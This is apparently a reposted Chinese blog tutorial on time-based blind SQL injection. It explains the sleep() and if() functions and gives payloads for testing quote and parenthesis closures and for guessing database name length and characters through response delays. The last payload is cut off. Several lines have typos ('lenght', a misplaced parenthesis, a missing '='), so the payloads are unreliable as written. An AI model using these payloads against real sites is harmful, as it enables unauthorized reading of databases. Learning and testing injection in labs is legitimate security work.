SQL注入——时间性盲注

时间型盲注

  • 时间型的注入遇到的条件更为苛刻,数据交互完成以后目标网站没有错误和正确的页面回显,这种情况我们可以利用时间函数来判断数据有没有在目标数据中得到执行。当然也需要构造闭合。

利用函数


 - lenght()
 - ascii()
 - mid()
 - substr()
 - hex()
//以上在布尔型中介绍过
 - sleep() //时间注入的核心函数
	sleep(1) //过1秒响应
 - if()函数
	if(1=1,3,4) 返回 3
	if(1=2,3,4) 返回4

构造判断语句


 - id=1' and if(1=2,1, sleep(10)) --+
 - id=1" and if(1=2,1, sleep(10)) --+
 - id=1) and if(1=2,1, sleep(10)) --+

构造暴库语句


 - id=1‘ and if((length(database()>1),sleep(4),0) --+ //增加1值来猜库名的长度
 - id 1’ and if((ascii(substr(database(),1,1)) > 1),sleep(4),0 )--+ //库名
 - id 1’ and if((ascii(substr((select column_name   from information_schema. columns where TABLE_name = 'your table' and table_schem

猜你喜欢

转载自blog.csdn.net/qq_41554179/article/details/88414127